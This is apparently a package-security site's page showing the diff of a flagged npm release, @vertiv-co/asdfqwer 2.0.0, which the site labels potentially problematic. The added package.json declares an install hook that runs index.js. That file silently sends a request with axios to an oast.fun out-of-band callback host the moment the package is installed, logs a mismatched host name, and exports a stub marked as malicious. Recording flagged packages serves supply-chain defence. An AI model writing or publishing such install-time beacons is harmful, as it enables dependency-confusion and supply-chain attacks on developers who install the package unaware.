@vertiv-co/asdfqwer 2.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @vertiv-co/asdfqwer might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +19 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,19 @@
1
+ const axios = require('axios');
2
+
3
+ // Function to send a request when the package is installed
4
+ async function sendRequest() {
5
+ try {
6
+ const response = await axios.get('https://bqimonfthlskrntqolrird2agpqrtpkrh.oast.fun/');
7
+ console.log('Request sent to https://asdf.com, response status:', response.status);
8
+ } catch (error) {
9
+ console.error('Error sending request:', error);
10
+ }
11
+ }
12
+
13
+ // Call the function
14
+ sendRequest();
15
+
16
+ module.exports = function() {
17
+ console.log("This is the malicious package");
18
+ // Malicious code here
19
+ };
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@vertiv-co/asdfqwer",
3
+ "version": "2.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "install": "node index.js"
7
+ },
8
+ "dependencies": {
9
+ "axios": "^1.7.2"
10
+ }
11
+ }